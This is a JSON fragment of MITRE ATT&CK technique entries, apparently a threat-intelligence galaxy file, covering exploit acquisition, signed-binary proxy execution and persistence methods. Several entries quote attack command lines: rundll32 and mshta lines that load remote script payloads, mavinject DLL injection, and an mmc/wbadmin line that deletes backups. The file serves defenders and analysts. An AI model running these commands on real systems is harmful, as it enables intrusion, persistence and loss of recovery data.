"description": "Adversaries may develop exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than finding/modifying exploits from online or purchasing them from exploit vendors, an adversary may develop their own exploits.(Citation: NYTStuxnet) Adversaries may use information acquired via [Vulnerabilities](https://attack.mitre.org/techniques/T1588/006) to focus exploit development efforts. As part of the exploit development process, adversaries may uncover exploitable vulnerabilities through methods such as fuzzing and patch analysis.(Citation: Irongeek Sims BSides 2017)\n\nAs with legitimate development efforts, different skill sets may be required for developing exploits. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's exploit development capabilities, provided the adversary plays a role in shaping requirements and maintains an initial degree of exclusivity to the exploit.\n\nAdversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).",
"meta": {
"external_id": "T1587.004",
"kill_chain": [
"mitre-attack:resource-development"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1587/004",
"https://www.irongeek.com/i.php?page=videos/bsidescharm2017/bsidescharm-2017-t111-microsoft-patch-analysis-for-exploitation-stephen-sims",
"https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html"
]
},
"related": [
{
"dest-uuid": "edadea33-549c-4ed1-9783-8f5a5853cbdf",
"type": "subtechnique-of"
}
],
"uuid": "bbc3cba7-84ae-410d-b18b-16750731dfa2",
"value": "Exploits - T1587.004"
},
{
"description": "Adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.(Citation: Exploit Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying)\n\nIn addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities. Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or from individuals.(Citation: PegasusCitizenLab)(Citation: Wired SandCat Oct 2019) In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries).(Citation: TempertonDarkHotel)\n\nAn adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. There is usually a delay between when an exploit is discovered and when it is made public. An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation.\n\nAdversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).",
"meta": {
"external_id": "T1588.005",
"kill_chain": [
"mitre-attack:resource-development"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1588/005",
"https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/",
"https://www.exploit-db.com/",
"https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html",
"https://www.vice.com/en/article/3kx5y3/uzbekistan-hacking-operations-uncovered-due-to-spectacularly-bad-opsec",
"https://www.wired.co.uk/article/darkhotel-hacking-team-cyber-espionage"
]
},
"related": [
{
"dest-uuid": "ce0687a0-e692-4b77-964a-0784a8e54ff1",
"type": "subtechnique-of"
}
],
"uuid": "f4b843c1-7e92-4701-8fed-ce82f8be2636",
"value": "Exploits - T1588.005"
},
{
"description": "Adversaries may acquire information about vulnerabilities that can be used during targeting. A vulnerability is a weakness in computer hardware or software that can, potentially, be exploited by an adversary to cause unintended or unanticipated behavior to occur. Adversaries may find vulnerability information by searching open databases or gaining access to closed vulnerability databases.(Citation: National Vulnerability Database)\n\nAn adversary may monitor vulnerability disclosures/databases to understand the state of existing, as well as newly discovered, vulnerabilities. There is usually a delay between when a vulnerability is discovered and when it is made public. An adversary may target the systems of those known to conduct vulnerability research (including commercial vendors). Knowledge of a vulnerability may cause an adversary to search for an existing exploit (i.e. [Exploits](https://attack.mitre.org/techniques/T1588/005)) or to attempt to develop one themselves (i.e. [Exploits](https://attack.mitre.org/techniques/T1587/004)).",
"meta": {
"external_id": "T1588.006",
"kill_chain": [
"mitre-attack:resource-development"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1588/006",
"https://nvd.nist.gov/"
]
},
"related": [
{
"dest-uuid": "ce0687a0-e692-4b77-964a-0784a8e54ff1",
"type": "subtechnique-of"
}
],
"uuid": "2b5aa86b-a0df-4382-848d-30abea443327",
"value": "Vulnerabilities - T1588.006"
},
{
"description": "Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).\n\nRundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)\n\nAdversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll)",
"meta": {
"external_id": "T1218.011",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Metadata",
"Module: Module Load",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1218/011",
"https://github.com/gtworek/PSBits/tree/master/NoRunDll",
"https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/",
"https://www.attackify.com/blog/rundll32_execution_order/",
"https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf"
]
},
"related": [
{
"dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
"type": "subtechnique-of"
}
],
"uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5",
"value": "Rundll32 - T1218.011"
},
{
"description": "Adversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe)\n\nAdversaries may abuse verclsid.exe to execute malicious payloads. This may be achieved by running verclsid.exe /S /C {CLSID}, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010)). Since it is signed and native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.(Citation: LOLBAS Verclsid)(Citation: Red Canary Verclsid.exe)(Citation: BOHOPS Abusing the COM Registry)(Citation: Nick Tyrer GitHub) ",
"meta": {
"external_id": "T1218.012",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1218/012",
"https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/",
"https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5",
"https://lolbas-project.github.io/lolbas/Binaries/Verclsid/",
"https://redcanary.com/blog/verclsid-exe-threat-detection/",
"https://www.winosbite.com/verclsid-exe/ "
]
},
"related": [
{
"dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
"type": "subtechnique-of"
}
],
"uuid": "808e6329-ca91-4b87-ac2d-8eadc5f8f327",
"value": "Verclsid - T1218.012"
},
{
"description": "Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject)\n\nAdversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001)), allowing for arbitrary code execution (ex. C:\\Windows\\system32\\mavinject.exe PID /INJECTRUNNING PATH_DLL).(Citation: ATT Lazarus TTP Evolution)(Citation: Reaqta Mavinject) Since mavinject.exe is digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process. \n\nIn addition to [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001), Mavinject.exe can also be abused to perform import descriptor injection via its /HMODULE command-line parameter (ex. mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.(Citation: Mavinject Functionality Deconstructed)",
"meta": {
"external_id": "T1218.013",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1218/013",
"https://cybersecurity.att.com/blogs/labs-research/lazarus-campaign-ttps-and-evolution",
"https://lolbas-project.github.io/lolbas/Binaries/Mavinject/",
"https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e",
"https://reaqta.com/2017/12/mavinject-microsoft-injector/"
]
},
"related": [
{
"dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
"type": "subtechnique-of"
}
],
"uuid": "1bae753e-8e52-4055-a66d-2ead90303ca9",
"value": "Mavinject - T1218.013"
},
{
"description": "Adversaries may abuse mmc.exe to proxy execution of malicious .msc files. Microsoft Management Console, or MMC, is a signed Windows binary and is used in several ways in either its GUI or in a command prompt.(Citation: win_mmc)(Citation: what_is_mmc) MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created .msc files to manage system configuration.(Citation: win_msc_files_overview)\n\nFor example, mmc C:\\Users\\foo\\admintools.msc /a will open a custom, saved console msc file in author mode.(Citation: win_mmc) Another common example is mmc gpedit.msc, which will open the Group Policy Editor application window. \n\nAdversaries may use MMC commands to perform malicious tasks. For example, mmc wbadmin.msc delete catalog -quiet deletes the backup catalog on the system (i.e. [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)) without prompts to the user (Note: wbadmin.msc may only be present by default on Windows Server operating systems).(Citation: win_wbadmin_delete_catalog)(Citation: phobos_virustotal)\n\nAdversaries may also abuse MMC to execute malicious .msc files. For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) class object.(Citation: win_clsid_key) Then, adversaries may create custom consoles with the “Link to Web Address” snap-in that is linked to the malicious CLSID subkey.(Citation: mmc_vulns) Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: mmc.exe -Embedding C:\\path\\to\\test.msc.(Citation: abusing_com_reg)",
"meta": {
"external_id": "T1218.014",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Creation",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1218/014",
"https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/",
"https://docs.microsoft.com/en-us/troubleshoot/windows-server/system-management-components/what-is-microsoft-management-console",
"https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mmc",
"https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-delete-catalog",
"https://docs.microsoft.com/en-us/windows/win32/com/clsid-key-hklm",
"https://research.checkpoint.com/2019/microsoft-management-console-mmc-vulnerabilities/",
"https://www.ghacks.net/2017/06/10/windows-msc-files-overview/",
"https://www.virustotal.com/gui/file/0b4c743246478a6a8c9fa3ff8e04f297507c2f0ea5d61a1284fe65387d172f81/detection "
]
},
"related": [
{
"dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
"type": "subtechnique-of"
}
],
"uuid": "ffbcfdb0-de22-4106-9ed3-fc23c8a01407",
"value": "MMC - T1218.014"
},
{
"description": "Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)\n\nThe COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)\n\nAdversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)",
"meta": {
"external_id": "T1574.012",
"kill_chain": [
"mitre-attack:persistence",
"mitre-attack:privilege-escalation",
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"Module: Module Load",
"Process: Process Creation",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1574/012",
"https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview",
"https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ee471451(v=vs.100)",
"https://github.com/OmerYa/Invisi-Shell",
"https://offsec.almond.consulting/UAC-bypass-dotnet.html",
"https://redcanary.com/blog/blue-mockingbird-cryptominer/",
"https://redcanary.com/blog/cor_profiler-for-persistence/",
"https://web.archive.org/web/20170720041203/http://subt0x10.blogspot.com/2017/05/subvert-clr-process-listing-with-net.html"
]
},
"related": [
{
"dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6",
"type": "subtechnique-of"
}
],
"uuid": "ffeb0780-356e-4261-b036-cfb6bd234335",
"value": "COR_PROFILER - T1574.012"
},
{
"description": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond will load any rules from the /etc/emond.d/rules/ directory and take action once an explicitly defined event takes place.\n\nThe rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.",
"meta": {
"external_id": "T1546.014",
"kill_chain": [
"mitre-attack:privilege-escalation",
"mitre-attack:persistence"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Creation",
"File: File Modification",
"Process: Process Creation"
],
"mitre_platforms": [
"macOS"
],
"refs": [
"http://www.magnusviri.com/Mac/what-is-emond.html",
"https://attack.mitre.org/techniques/T1546/014",
"https://www.sentinelone.com/blog/how-malware-persists-on-macos/",
"https://www.xorrior.com/emond-persistence/"
]
},
"related": [
{
"dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db",
"type": "subtechnique-of"
}
],
"uuid": "9c45eaa3-8604-4780-8988-b5074dbb9ecd",
"value": "Emond - T1546.014"
},
{
"description": "During the boot process, macOS executes source /etc/rc.common, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.\n\nAdversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence).",
"meta": {
"external_id": "T1163",
"refs": [
"https://attack.mitre.org/techniques/T1163",
"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html",
"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
]
},
"related": [
{
"dest-uuid": "dca670cf-eeec-438f-8185-fd959d9ef211",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "18d4ab39-12ed-4a16-9fdb-ae311bba4a0f",
"value": "Rc.common - T1163"
},
{
"description": "Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nAdversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)",
"meta": {
"external_id": "T1121",
"refs": [
"https://attack.mitre.org/techniques/T1121",
"https://lolbas-project.github.io/lolbas/Binaries/Regasm/",
"https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/",
"https://msdn.microsoft.com/en-us/library/04za0hca.aspx",
"https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx"
]
},
"related": [
{
"dest-uuid": "c48a67ee-b657-45c1-91bf-6cdbe27205f8",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "215190a9-9f02-4e83-bb5f-e0589965a302",
"value": "Regsvcs/Regasm - T1121"
},
{
"description": "Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.\n\nAdversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.",
"meta": {
"external_id": "T1090",
"kill_chain": [
"mitre-attack:command-and-control"
],
"mitre_data_sources": [
"Network Traffic: Network Connection Creation",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows",
"Network"
],
"refs": [
"http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/",
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
"https://attack.mitre.org/techniques/T1090"
]
},
"uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea",
"value": "Proxy - T1090"
},
{
"description": "Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) \n\nRootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor, Master Boot Record, or [System Firmware](https://attack.mitre.org/techniques/T1542/001). (Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)",
"meta": {
"external_id": "CAPEC-552",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Drive: Drive Modification",
"Firmware: Firmware Modification"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf",
"https://attack.mitre.org/techniques/T1014",
"https://capec.mitre.org/data/definitions/552.html",
"https://en.wikipedia.org/wiki/Rootkit",
"https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/",
"https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf"
]
},
"uuid": "0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b",
"value": "Rootkit - T1014"
},
{
"description": "Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension .hta. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nAdversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nFiles may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))\n\nThey may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta\n\nMshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)",
"meta": {
"external_id": "T1170",
"refs": [
"https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/",
"https://attack.mitre.org/techniques/T1170",
"https://en.wikipedia.org/wiki/HTML_Application",
"https://lolbas-project.github.io/lolbas/Binaries/Mshta/",
"https://msdn.microsoft.com/library/ms536471.aspx",
"https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf",
"https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html",
"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html",
"https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/"
]
},
"related": [
{
"dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "a127c32c-cbb0-4f9d-be07-881a792408ec",
"value": "Mshta - T1170"
},
{
"description": "Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\\Windows\\System32\\, and C:\\Windows\\sysWOW64\\ on 64-bit Windows systems, along with screensavers included with base Windows installations. \n\nThe following screensaver settings are stored in the Registry (HKCU\\Control Panel\\Desktop\\) and could be manipulated to achieve persistence:\n\n* SCRNSAVE.exe - set to malicious PE path\n* ScreenSaveActive - set to '1' to enable the screensaver\n* ScreenSaverIsSecure - set to '0' to not require a password to unlock\n* ScreenSaveTimeout - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)",
"meta": {
"external_id": "T1180",
"refs": [
"https://attack.mitre.org/techniques/T1180",
"https://en.wikipedia.org/wiki/Screensaver",
"https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
]
},
"related": [
{
"dest-uuid": "ce4b7013-640e-48a9-b501-d0025a95f4bf",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "2892b9ee-ca9f-4723-b332-0dc6e843a8ae",
"value": "Screensaver - T1180"
},
{
"description": "The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.\n\nRundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)",
"meta": {
"external_id": "T1085",
"refs": [
"https://attack.mitre.org/techniques/T1085",
"https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/",
"https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf"
]
},
"related": [
{
"dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5",
"value": "Rundll32 - T1085"
},
{
"description": "**This technique has been deprecated and should no longer be used.**\n\nA type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with [Rootkit](https://attack.mitre.org/techniques/T1014) functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption.",
"meta": {
"external_id": "CAPEC-552",
"kill_chain": [
"mitre-attack:persistence"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.90.8832&rep=rep1&type=pdf",
"http://en.wikipedia.org/wiki/Xen",
"http://virtualization.info/en/news/2006/08/debunking-blue-pill-myth.html",
"https://attack.mitre.org/techniques/T1062",
"https://capec.mitre.org/data/definitions/552.html",
"https://en.wikipedia.org/wiki/Hypervisor"
]
},
"uuid": "4be89c7c-ace6-4876-9377-c8d54cef3d63",
"value": "Hypervisor - T1062"
},
{
"description": "Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service (Citation: Microsoft Detecting Kerberoasting Feb 2018)). (Citation: Microsoft SPN) (Citation: Microsoft SetSPN) (Citation: SANS Attacking Kerberos Nov 2014) (Citation: Harmj0y Kerberoast Nov 2016)\n\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). (Citation: Empire InvokeKerberoast Oct 2016) (Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials. (Citation: AdSecurity Cracking Kerberos Dec 2015) (Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)\n\nThis same attack could be executed using service tickets captured from network traffic. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nCracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078). (Citation: SANS Attacking Kerberos Nov 2014)",
